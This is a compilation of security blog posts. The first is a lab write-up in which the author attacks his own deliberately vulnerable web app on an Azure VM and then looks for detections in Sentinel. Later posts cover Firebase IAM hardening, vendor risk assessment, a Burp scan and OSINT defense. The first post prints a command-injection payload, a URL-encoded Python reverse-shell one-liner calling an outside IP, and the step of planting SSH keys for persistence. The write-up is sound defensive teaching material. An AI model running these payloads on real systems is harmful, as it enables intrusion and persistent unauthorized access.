Can Chuck Norris detect the hackers in his home folder?

Let’s set up a server to run Vulnerable Norris. An attacker discovers that the web application has a remote command injection vulnerability, and exploits it to gain a reverse shell. The attackers copy their own SSH public keys onto the device, and uses it as a foothold in the network. How can we detect and stop this from happening, even if we don’t know that the application itself has a vulnerability?

Here’s a summary of attack activities in different phases from the Lockheed-Martin kill-chain model. We will see that a lot of these opportunities for detection are not used out of the box in typical security tooling, and that an attacker can be relatively blunt in the choice of methods without creating alerts.

PhaseAttacker’s actionsArtifacts produced
ReconEndpoint scanning, spidering, payload probingAccess logs Application logs
WeaponizationPlan reverse shell to useApplication logs
DeliveryPayload submitted through application’s injection pointCommand line input
ExploitationCommand line input, create reverse shellNetwork traffic Audit logs
InstallationWebshell injection Add SSH keysChanged files on system
Command and controlUse access method established to perform actionsNetwork connections Audit logs
Actions on objectiveSoftware installation Network reconnessaince Data exfiltrationNetwork connections
Audit logs
Attack phases and expected artifacts generated

Deploying on an Azure Linux VM

We will deploy Vulnerable Norris on a Linux VM on Azure. Our detection strategy is to enable recommended security tooling in Azure, such as Microsoft Defender for Cloud, and to forward Syslog data to Sentinel. It is easy to think that an attack like the one above would light up with alerts relatively early, but as we will see this is not the case, at least not out of th box.

First we deploy a VM using the Azure CLI.

az vm create --name victimvm --group security-experiments --location norwayeast --image UbuntuLts --admin-username donkeyman --generate-ssh-keys

Now we have a standard VM with SSH access. By default it has port 22 open for SSH access. We will open another port for the application:

az vm open-port --name victimvm -g security-experiments --port 3000

We remote into the server with

ssh donkeyman@<ip-address-here>

Then we pull the Vulnerable Norris app in from Github and install it according to the README description. We need to install a few dependencies first:

sudo apt install npm jq

git clone https://github.com/hakdo/vulnerablenorris.git

cd vulnerablenorris

npm install

node index.js &

OK, our server is up and running at <ip-address>:3000.

Turning on some security options

Let’s enable Defender for Cloud. According to the documentation,  this should

  • Provide continuous assessment of security posture
  • Make recommendations for hardening – with a convenient “fix now” button
  • With the enhanced security features enabled, Defender for Cloud detects threats to your resources and workloads.

This sounds awesome – with the flick of a switch our Norris should be pretty secure, right?

Turns out there are more switches: you can turn on an EDR component called Defender for Server. That’s another switch to flick. It is not always clear when you have enabled enough features to be “safe enough”, and each  new service enabled will add to the bill.

A very basic security measure that we have turned on, is to forward syslog to a SIEM. We are using Microsoft Sentinel for this. This allows us to create alerts based on log findings, as well as to search the logs through a simple interface, without logging on to the actual VM to do this. Alerts from Defender for Cloud are also set up to be forwarded to Sentinel, and an incident can be managed from both places and will synchronize.

The attack

The attacker comes from another planet – or at least another cloud. We are setting up a VM in Google Cloud. We will use this one to stage the attack by setting up a listener first to return a reverse shell from our VictimVM. Then we will generate SSH keys on the attacker’s server, and add the public key from here to VictimVM. Now we can log in over SSH from the GCP VM to VictimVM on Azure whenever we want. The key question is:

  • Does Defender for Cloud stop us?
  • Does it at least create an alert for us

We temporarily got the service up and running, exposing port 3000.

screenshot
Vulnerable app running in an Azure VM.

Going to the app gives us a Chuck Norris fact from the Chuck Norris API. We have implemented a very poor implementation of this, calling the API using curl and using a system call from the web application, at the endpoint /dangerzone. This one has a parsing error that allows command injection.

Norris app with demo of remote command injection using “whoami”

The payload is

/dangerzone?category=fashion%26%26whoami

The output shows that we have command injection, and that the app is running as the user donkeyvictim. Now we can get a reverse shell to secure a bit more convenient access to the box. We have set up the VM to listen to port 3333, and use the following reverse shell payload generated by Online – Reverse Shell Generator (revshells.com):

python3%20-c%20'import%20os,pty,socket;s=socket.socket();s.connect((%2234.88.132.129%22,3000));%5Bos.dup2(s.fileno(),f)for%20f%20in(0,1,2)%5D;pty.spawn(%22sh%22)'

On the GCP VM we get an incoming connection:

reverse shell with netcat
Simple reverse shell received using netcat listener

Running ls shows that we are indeed in a reverse shell, but it is very crude. We can upgrade the shell using a neat Python trick from this page:

python3 -c 'import pty;pty.spawn("/bin/bash")'

The blog I took this from has a lot of tweaks you can do to get full autocomplete etc through the netcat listener, but this will do for a bit nicer experience.

What we now do on the attacker VM is to generate an SSH keypair. We then copy the public key to the authorized_keys file for user donkeyvictim on the VictimVM using our reverse shell. We now have established a persistent access channel.

Upgraded shell: the attacker’s console on GCP cloud shell, connected to VictimVM on Azure over SSH.

We obviously see that this activity was not stopped by Microsoft’s Defender for Cloud. But did it at least create some alerts for us? It seems the answer to that is “nope”.

If we turn to Microsoft Sentinel, there are also no incidents or alerts related to this activity.

Checking the logs

Can we then see it in the logs? We know at least that authentication events over SSH will create auth log entries. Since we have set up the Syslog connector in Sentinel, we get the logs into a tool that makes searching easier. The following search will reveal which IP addresses have authenticated with a publickey, and the username it has authenticated with.

Syslog

| where Computer == "victimvm"

| where SyslogMessage contains "Accepted publickey for"

| extend ip = extract("([0-9]+.[0-9]+.[0-9]+.[0-9]+)",1,SyslogMessage)

| extend username = extract("publickey for ([a-zA-Z0-9@!]+)",1,SyslogMessage)

| project TimeGenerated, username, ip

The output from this search is as follows:

sentinel log analysis
Showing the same user logging in with ssh from two different ip addresses.

Here we see that the same user is logging in from two different IP addresses. Enriching it with geolocation data could make the suspicious login easier to detect, as the 212… Is in Norway, and the 34… Is a Google owned ip address in Finland.

In other words: it is possible to detect unusual login acticity by creating queries in Sentinel. At least it is something.

How could we have detected the attack?

But what about all the things leading up to the SSH login? We should definitly be able to stop this at an earlier point.

  1. The payload sent to the application
  2. The network egress when the reverse shell is generated
  3. The change of the ~/.ssh/authorized_keys file

Because the application does not log messages anywhere but stdout, they are not captured anywhere.  It would have been good if the application logged issues to a standard location that could be forwarded.

Detecting the attack when the reverse shell is generated is a good option. Here we can use the VMConnection data provided by the Defender for Cloud agent running on the VM.

VMConnection

| where Computer has "victimvm"

| where Direction == "outbound"

| summarize count() by DestinationPort

Here we look at which destination prots we see in egress traffic. Reverse shells will often use ports not requiring sudo rights, ie above 1000.

Count of outbound connections per destination port

We see we have outbound connections to port 3000. Looking into one of the log items we find some interesting information:

TimeGenerated [UTC]2022-01-18T19:58:20.211Z 
 Computervictimvm
 Directionoutbound
 ProcessNamepython3
 SourceIp10.0.0.4
 DestinationIp34.88.132.129
 DestinationPort3000
 Protocoltcp
 RemoteIp34.88.132.129
 RemoteLongitude28.21
 RemoteLatitude61.03
 RemoteCountryFinland

We know that this is our reverse shell. We could then correlate the outbound connection to this IP address with later incoming SSH connection from this IP address. For relatively specific attack events we can in other words create detections. However, we don’t know in advance what persistence option the attacker would go for, or the port number used for the reverse shell.

A good idea would be to list the scenarios we would want to detect, and then build logging practices and correlations to help us create alerts for these incidents.

Can we throw more security at the VM to detect and stop attacks?

One thing Azure supports for VM’s if Defender for Cloud is enabled with “enhanced security” is “just-in-time access” for the VM. You need to pre-authorize access to open for inbound traffic to management ports through the network security group. The result of trying to connect with SSH after enabling it, is a timeout:

After enabling JIT access, our SSH connection times out without pre-approval.

We can now request access over SSH in Azure Portal by going to the VM’s overview page, and then selecting “connect”:

Pre-authorizing SSH access enables it for a defined period.

This will effectively stop an attacker’s persistence tactic but it will not take care of the remote command injection vulnerability.

For a web application we could also put a web application firewall in front of it to reduce the malicious payloads reaching the app. Even better is of course to only run code that has been developed with security in mind.

The key takeaways are:

  1. Log forwarding is gold but you have to use it and set up your own alerts and correlations to make it help stop attacks
  2. Enabling security solutions will help you but it will not take care of security for you. Setting up endpoint security won’t help you if the application code you are running is the problem.
  3. Avoid exposing management ports directly on the internet if possible.

Firebase IAM: the tale of excessive permissions

Securing Firestore objects from attacks abusing the JavaScript SDK can be done with the Firestore security rules, which you can read about in my recent post on Firestore

If you are using the Admin SDK on the server side, you have full access to everything by default. The Firestore security rules do not apply to the Admin SDK. One thing in particular we should be aware of is that the Firesbase admin SDK gives access to management plane functionality, making it possible to change security rules, for example. This is not apparent from the Firebase console or command line tools. 

firefighters in action
Running Firebase Cloud Functions using the Admin SDK with default permissions can quickly lead to a lot of firefighting. Better get those permissions under control!

In this blog post we dig into a Firebase project through the Google Cloud console and the gcloud command line tool, where we show how to improve the security of our capture-the-flag app by creating specific service accounts and role bindings for a cloud function. We also explore how to verify that a user is signed in using the Firebase Admin SDK.

A threat model for the flag checker

We have created a demo Firebase project with a simple web application at https://quizman-a9f1b.web.app/. This app has a simple CTF function, where a CTF challenge is presented, and players can verify if their identified flag is correct. The data exchange is primarily done using the JavaScript SDK, protected by security rules. For checking the flag, however, we are using a cloud function. If this cloud function has a vulnerability that allows an attacker to take control over it, that attacker could potentially overwrite the “correct flag”, or even change the security rules protecting the JavaScript SDK access. 

Here’s a list of threats and potential consequences: 

VulnerabilityExploitationImpact
RCE vulnerability in codeAttacker can take full control of the Firebase project environment through the admin SDKCan read/write to private collection (cheat)Can create other resources (costs money)Can reconfigure security rules (data leaks or DoS)
Lack of brute-force protectionAttacker can try to guess flags by automating submissionUser can cheatCosts money
Lack of authenticationAn unauthenticated user can perform function callsCosts money in spite of not being a real player of the CTF game

We need to make sure that attackers cannot exploit vulnerabilities to cheat in the program. We also want to protect against unavailability, and abuse that can drive up the cloud usage bill (after all this is a personal project). We will apply a defence-in-depth approach to our cloud function: 

  1. Execution of the function requires the caller to be authenticated. The purpose of this is to limit abuse, and to revoke access to users abusing the app. 
  2. The Firebase function shall only have read access to FIrestore, preferably only to the relevant collections. This will avoid the ability of an attacker with RCE to overwrite data, or to manage resources in the Firebase project.
  3. For the following events we want to create logs and possibly alerts: 
    1. authenticated user verified token
    2. unauthenticated user requested token verification

Requiring the user to be authenticated

First we need to make sure that the person requesting to verify a flag is authenticated. We can use a built-in method of the Firebase admin SDK to do this. This method checks that the ID token received is properly signed, and that it is not expired. The good thing about this approach is that it avoids making a call to the authentication backend.

But what if the token has been revoked? It is possible to check if a token is revoked using either security rules (recommended, cheap), or making an extra call to the authentication backend (expensive, not recommended). Since we are not actively revoking tokens in this app, unless a user changes his/her password, we will not bother with this functionality but if you need it, there is documentation how here: https://firebase.google.com/docs/auth/admin/manage-sessions#detect_id_token_revocation

We need to update our “check flag workflow” from this: 

  • send flag and challenge ID to cloud function
  • cloud function queries Firestore based on challenge ID and gets the “correct flag”
  • cloud function compares submitted flag with the correct flag, and returns {success: true/false} as appropriate

to this slightly more elaborate workflow:

  • send flag, challenge ID and user token to cloud function
  • cloud function verifies token ID
    • If invalid: return 403 (forbidden) // simplified to returning 200 with {success: false}
    • if valid: 
      • cloud function queries Firestore based on challenge ID and gets the “correct flag”
      • cloud function compares submitted flag with the correct flag, and returns {success: true/false} as appropriate

The following code snippet shows how to perform the validation of the user’s token: 

​​const idTokenResult = await admin.auth().verifyIdToken(idToken);

If the token is valid, we receive a decoded jwt back.

Restricting permissions using IAM roles

By default, a Firebase function initiated with the Firebase admin SDK has been assigned very powerful permissions. It gets automatically set up with a service account that is named as “firebase-adminsdk-random5chars@project-id.iam.gserviceaccount.com”. The service account itself does not have rights associated with it, but it has role bindings to roles that have permissions attached to it. 

If you go into the Google Cloud Console, and navigate to “IAM” under your project, you can look up the roles assigned to a principal, such as your service account. For each role you automatically get an assessment of “excess permissions”; those are permissions available through the role bindings but that are not used in the project. Here’s the default configuration for the service account set up for the Admin SDK: 

By default Firebase Cloud Functions run with excessive permissions!

Our Firebase cloud function does not need access to all those permissions. By creating roles that are fit for purpose we can limit the damage an attacker can do if the function is compromised. This is just the same principle in action as when your security awareness training tells you not to run your PC as admin for daily work. 

Cloud resources have associated ready-made roles that one can bind a service account to. For Firestore objects the relevant IAM roles are listed here: https://cloud.google.com/firestore/docs/security/iam. We see that there is a viewer role that allows read access to all Firestore resources, called datastore.viewer. We will use this, but be aware it could read all Firestore data in the project, not only the intended objects. Still, we are protecting against deletion, overwriting data, and creation of new resources. 

Note that it is possible to create more specific roles. We could create a role that only has permission to read from Firestore entities. We cannot in an IAM role describe exactly which Firestore collection to allow read operations from, but if we create the role flagchecker and assign it the permission datastore.entities.get and nothing else, it is as locked down as we can make it. 

To implement this for our cloud function, we create a new service account. This can be done in the Console by going to IAM → Service Accounts → New Service Account. We create the account and assign it the role datastore.viewer. 

Our new service account is called quizman-flag-checker.

Now we need to attach this service account to our Firebase function. It is not clear form the Firebase documentation how we can accomplish this, but opening the Google Cloud Console, or using the gcloud command line tool, we can attach our new service account with more restrictive permissions to the Firebase function. 

To do this, we go into the Google Cloud console, choose the right project and Compute → Cloud functions. Select the right function, and then hit the “edit” button to change the function. Here you can choose the service account you want to attach to the function. 

google cloud console

After changing the runtime service account, we need to deploy the function again. Now the service-to-service authentication is performed with a principal with more sensible permissions; attackers can no longer create their own resources or delete security rules. 

Auditing the security configurations of a Firebase function using gcloud

Firebase is great for an easy set-up, but as we have seen it gives us too permissive roles by default. It can therefore be a good idea to audit the IAM roles used in your project. 

Key questions to ask about the permissions of a cloud function are: 

  • What is the service account this function is authenticating as?
  • What permissions do I have for this cloud function?
  • Do I have permissions that I do not need? 

In addition to auditing the configuration, we want to audit changes to the configuration, in particular changes to service accounts, roles, and role bindings. This is easiest done using the log viewer tools in the Google Cloud console. 

We’ll use the command line tool gcloud for the auditing, since this makes it possible to automate in scripts. 

Service accounts and IAM roles for a Firebase function

Using the Google Cloud command line tool gcloud we can use the command 

gcloud functions describe <functionName>

to get a lot of metadata about a function. To extract just the service account used you can pipe it into jq like this: 

gcloud functions describe <functionName> --format=”json”| jq “.serviceAccountEmail”

When we have the service account, we can next check which roles are bound to the account. This query is somewhat complex due to the nested data structure for role bindings on a project (for a good description of gcloud IAM queries, see fabianlee.org): 

gcloud projects get-iam-policy <projectIdNumber> --flatten="bindings[].members" --filter="bindings.members=serviceAccount:<account-email>" --format="value(bindings.role)"

Running this gives us the following role (as expected): projects/quizman-a9f1b/roles/flagchecker.

Hence, we know this is the only role assigned to this service account. Now we finally need to list the permissions for this role. Here’s how we can do that: 

cloud iam roles describe flagchecker --project=quizman-a9f1b --format="value(includedPermissions)”

The output (as expected) is a single permission: datastore.entities.get

Vendor Security Management: how to decide if tech is safe (enough) to use

tl;dr: Miessler is right. We need to focus on our own risk exposure, not vendor security questionnaires

If you want to make a cybersecurity expert shiver, utter the words “supply chain vulnerabilities”. Everything we do today, depends on a complex mixture of systems, companies, technologies and individuals. Any part of that chain of interconnected parts can be the dreaded weakest link. If hackers can find that weak link, the whole house of cards comes crumbling down. Managing cyber supply chain risk is challenging, to say the least. 

Most companies that have implemented a vendor cybersecurity risk process, will make decisions based on a questionnaire sent to the vendor during selection. In addition, audit reports for recognized standards such as ISO 27001, or SOC2, may be shared by the company and used to assess the risk. Is this process effective at stopping cyberattacks through third parties? That is at least up for debate.

Daniel Miessler recently wrote a blog post titled It’s time for vendor security 2.0, where he argues that the current approach is not effective, and that we need to change the way we manage vendor risks. Considering how many cybersecurity questionnaires Equifax, British Airways and Codecov must have filled in before being breached, it is not hard to agree with @danielmiessler about this. What he argues in his blog is: 

  1. Cybersecurity reputation service (rating companies, etc) are mostly operating like the mob, and security questions are mostly security theater. None of this will save you from cyber armageddon.
  2. Stay away from companies that seem extremely immature in terms of security
  3. Assume the vendor is breached
  4. Focus more on risk assessment under the assumption that the vendor is breached than questionable questionnaires. Build threat models and mitigation plans, make those risks visible. 

Will Miessler’s security 2.0 improve things?

Let’s pick at the 4 numbered points above one by one. 

Are rating companies mobsters? 

There are many cybersecurity rating companies out there. They take measure of themselves to be the Moody’s or S&P’s of cybersecurity. The way they operate is they pull in “open source information about cybersecurity posture” of companies. They also say that they enrich this information with other data that only they have access to (that is, they buy data from marketing information brokers and perform data exchange with insurance companies). Then they correlate this information in more or less sound statistical ways (combined with a good dose of something called expert judgment – or guessing, as we can also call it) with known data breaches and create a security score. Then they claim that using companies with a bad score is dangerous, and with a good score is much better. 

This is definitely not an exact science, but it does seem reasonable to assume that companies that show a lot of poor practice such as a lack of patching, botnet infected computers pinging out to sinkholes and so on, have worse security management than similar companies that do not have these indicators. Personally, I think a service like this can help sort the terrible ones from the reasonably OK ones. 

Then, are they acting as mobsters? Are they telling you “we know about all these vulnerabilities, if you don’t pay us we will tell your customers?”. Not exactly. They are telling everyone willing to pay for access to their data these things, but they are not telling you about it, unless pay them. It is not exactly in line with accepted standards of “responsible disclosure”. At the same time, their findings are often quite basic and anyone bothering to look could find the same things (such as support for old ciphers on TLS or web servers leaking use of an old PHP version). Bottom line, I think their business model is acceptable and that the service can provide efficiency gains for a risk assessment process. I agree with Miessler that trusting this to be a linear scale of cyber goodness is naive at best, but I do think companies with a very poor security rating would be more risky to use than those with good ratings. 

mobster planning his next security rating extortion of SaaS cybersecurity vendors
Some security vendors have a business model that resemble extortion rackets of a 1930’s mobster. But even mobsters can be useful at times.

Verdict – usefulness: rating services can provide a welcome substitute or addition for slower ways of assessing security posture. An added benefit is the ability to see how things develop over time. Small changes are likely to be of little significance, but a steady improvement of security rating over time is a good sign. These services can be quite costly, so it is worth thinking about how much money you want to throw at it. 

Verdict – are they mobsters? They are not mobsters but they are also not your best friends. 

Are security questionnaires just security theater? 

According to Miessler, you should slim down your security questionnaires to two questions: 

  1. “when was the last time you were breached (what happened, why, and how did you adjust)”?, 
  2. and “do you have security leadership and a security program?”.

The purpose of these questions is to judge if they have a reasonable approach to security. It is easy for people to lie on detailed but generic security forms, and they provide little value. To discover if a company is a metaphorical “axe murderer” the two questions above are enough, argues Miessler. He may have a point. Take for example a typical security questionnaire favorite: “does your company use firewalls to safeguard computers from online attacks?” Everyone will answer “yes”. Does that change our knowledge about their likelihood of being hacked? Not one bit. 

Of course, lying on a short questionnaire with Miessler’s 2 questions is not more difficult than lying on a long and detailed questionnaire. Most companies would not admit anything on a questionnaire like this, that is not already publicly known. It is like flying to the US a few years ago where they made you fill out an immigration questionnaire with questions like “are you a terrorist?” and “have you been a guard at a Nazi concentration camp during WWII”. It is thus a good question if we can even just scrap the whole questionnaire. If the vendor you are considering is a software firm, at least if it is a “Software as a Service” or another type of cloud service provider, they are likely to have some generic information about security on their web page. Looking up that will usually be just as informative as any answer to the question above. 

Verdict: Security questionnaires are mostly useless – here I agree with Miessler. I think you can even drop the minimalist axe murderer detection variant, as people who lie on long forms probably lie on short forms too. Perhaps a good middle ground is to first check the website of the vendor for a reasonable security program description, and if you don’t see anything, then you can ask the two questions above as a substitute. 

Stay away from extremely bad practice

Staying away from companies with extremely bad practice is a good idea. Sometimes this is hard to do because business needs a certain service, and all potential providers are horrible at security. But if you have a choice between someone with obviously terrible security habits and someone with a less worrying security posture, this is clearly good advice. Good ways to check for red flags include: 

  • Create a user account and check password policies, reset, etc. Many companies allow you to create free trial accounts, which is good for evaluating security practices as well. 
  • Check if the applications are using outdated practices, poor configuration etc. 
  • Run sslscan to check if they are vulnerable to very old crypto vulnerabilities. This is a good indicator that patching isn’t exactly a priority.

Verdict: obviously a good idea.

Assume the vendor is breached and create a risk assessment

This turns to focus on your own assets and risk exposure. Assuming the vendor is breached is obviously a realistic start. Focusing on how that affects the business and what you can do about it, makes the vendor risk assessment about business risk, instead of technical details that feel irrelevant. 

Miessler recommends: 

  • Understand how the external service integrates into the business
  • Figure out what can go wrong
  • Decide what you can do to mitigate that risk

This is actionable and practical. The first part here is very important, and to a large degree determines how much effort it is worth putting into the vendor assessment. If the vendor will be used for a very limited purpose that does not involve critical data or systems, a breach would probably not have any severe consequences. That seems acceptable without doing much about it. 

On the other hand, what if the vendor is a customer relationship management provider (CRM), that will integrate with your company’s e-commerce solution, payment portal, online banking and accounting systems? A breach of that system could obviously have severe consequences for the company in terms of cost, reputation and legal liabilities. In such a case, modeling what could happen, how one can reduce the risk and assessing whether the residual risk is acceptable would be the next steps.

Shared responsibility – not only in the cloud

Cloud providers talk a lot about the shared responsibility model (AWS version). The responsibility for security of software and data in the cloud is shared between the cloud provider and the cloud customer. They have documentation on what they will take care of, as well as what you as a customer need to secure yourself. For the work that is your responsibility, the cloud provider will typically give you lots of advice on good practices. This is a reasonable model for managing security across organizational interfaces – and one we should adopt with other business relationships too. 

The most mature software vendors will already work like this, they have descriptions of their own security practices that you can read. They also have advice on how you should set up integrations to stay secure. The less mature ones will lack both the transparency and the guidance. 

This does not necessarily mean you should stay away from them (unless they are very bad or using them would increase the risk in unacceptable ways). It means you should work with them to find good risk mitigations across organizational interfaces. Some of the work has to be done by them, some by you. Bringing the shared responsibility for security into contracts across your entire value chain will help grow security maturity in the market as a whole, and benefit everyone. 

Questionnaires are mostly useless – but transparency and shared responsibility is not. 

In Miessler’s vendor security 2.0 post there is a question about what vendor security 3.0 will look like. I think that is when we have transparency and shared responsibility established across our entire value chain. Reaching this cybersecurity Nirvana of resilience will be a long journey – but every journey starts with a first step. That first step is to turn the focus on how you integrate with vendors and how you manage the risk of this integration – and that is a step we can take today. 

Running an automated security audit using Burp Professional

Reading about hacking in the news can make it seem like anyone can just point a tool at any website and completely take it over. This is not really the case, as hacking, whether automated or manual, requires vulnerabilities.

A well-known tool for security professionals working with web applications is Burp from Portswigger. This is an excellent tool, and comes in multiple editions from the free community edition, which is a nice proxy that you can use to study HTTP requests and responses (and some other things), to the professional edition aimed at pentesting and enterprise which is more for DevOps automation. In this little test we’ll take the Burp Professional tool and run it using only default settings against a target application I made last year. This app is a simple app for posting things on the internet, and was just a small project I did to learn how to use some of the AWS tools for deployment and monitoring. You find it in all its glory at https://www.woodscreaming.com.

Just entering the URL http://www.woodscreaming.com and launching Burp to attack the application first goes through a crawl and audit of unauthenticated routes it can find (it basically clicks all the links it can find). Burp then registers a user, and starts probing the authenticated routes afterwards, including posting those weird numerical posts.

Woodscreaming.com: note the weird numerical posts. These are telltale signs of automated security testing with random input generation.

What scanners like Burp are usually good at finding, is obvious misconfigurations such as missing security headers, flags on cookies and so on. It did find some of these things in the woodscreaming.com page – but not many.

Waiting for security scanners can seem like it takes forever. Burp estimated some 25.000 days remaining after a while with the minimal http://www.woodscreaming.com page.

After runing for a while, Burp estimated that the remaining scan time was something like 25.000 days. I don’t know why this is the case (not seen this in other applications) but since a user can generate new URL paths simply by posting new content, a linear time estimation may easily diverge. A wild guess at what was going on. Because of this we just stopped the scan after some time as it was unlikely to discover new vulnerabilities after this.

The underlying application is a traditional server-driven MVC application running Django. Burp works well with applications like this and the default setup works better than it typically does for single page applications (SPA’s) that many web applications are today.

So, what did Burp find? Burp assigns a criticality to the vulnerabilities it finds. There were no “High” criticality vulns, but it reported some “Medium” ones.

Missing “Secure” flag on session cookies?

Burp reports 2 cookies that seem to be session cookies and that are missing the Secure flag. This means that these cookies would be set also if the application were to be accessed over an insecure connection (http instead of https), making a man-in-the-middle able to steal the session, or perform a cross-site request forgery attack (CSRF). This is a real find but the actual exposure is limited because the app is only served over https. It should nevertheless be fixed.

A side note on this: cookies are set by the Django framework in their default state, no configuration changes made. Hence, this is likely to be the case also on many other Django sites.

If we go to the “Low” category, there are several issues reported. These are typically harder to exploit, and will also be less likely to cause major breaches in terms of confidentiality, integrity and availability:

  • Client-side HTTP parameter pollution (reflected)
  • CSRF cookie without HTTPOnly flag set
  • Password field with autocomplete enabled
  • Strict transport security not enforced

The first one is perhaps the most interesting one.

HTTP paramter pollution: dangerous or not?

In this case the URL parameter reflected in an anchor tag’s href attribute is not interpreted by the application and thus cannot lead to bad things – but it could have been the case that get parameters had been interpreted in the backend, making it possible to have a person perform an unintended action in a request forgery attack. But in our case we say as the jargon file directs us: “It is not a but, it is a feature”!

So what about the “password field with autocomplete enabled”? This must be one of the most common alerts from auditing software today. This can lead to unintended disclosure of passwords and should be avoided. You’ll find the same on many well-known web pages – but that does not mean we shouldn’t try to avoid it. We’ll put it on the “fix list”.

Are automated tests useful?

Automated tests are useful but they are not the same as a full penetration test. They are good for:

  1. Basic configuration checks. This can typically be done entirely passively, no attack payloads needed.
  2. Identifying vulnerabilities. You will not find all, and you will get some false positives but this is useful.
  3. Learning about vulnerabilities: Burp has a very good documentation and good explanations for the vulnerabilities it finds.

If you add a few manual checks to the automated setup, perhaps in particular give it a site-map before starting a scan and testing inputs with fuzzing (which can also be done using Burp) you can get a relatively thorough security test done with a single tool.

Defending against OSINT in reconnaissance?

Hackers, whether they are cyber criminals trying to trick you into clicking a ransomware download link, or whether they are nation state intelligence operatives planning to gain access to your infrastructure, can improve their odds massively through proper target reconnaissance prior to any form of offensive engagement. Learn how you can review your footprint and make your organization harder to hack.

https://cybehave.no

Cybehave has an interesting post on OSINT and footprinting, and what approach companies can take to reduce the risk from this type of attack surface mapping: https://cybehave.no/2019/03/05/digital-footprint-how-can-you-defend-against-osint/ (disclaimer: written by me and I own 25% of this company).

tl;dr – straight to the to-do list

  • Don’t publish information with no business benefit and that will make you more vulnerable
  • Patch your vulnerabilities – both on the people and tech levels
  • Build a friendly environment for your people. Don’t let them struggle with issues alone.
  • Prepare for the worst (you can still hope for he best)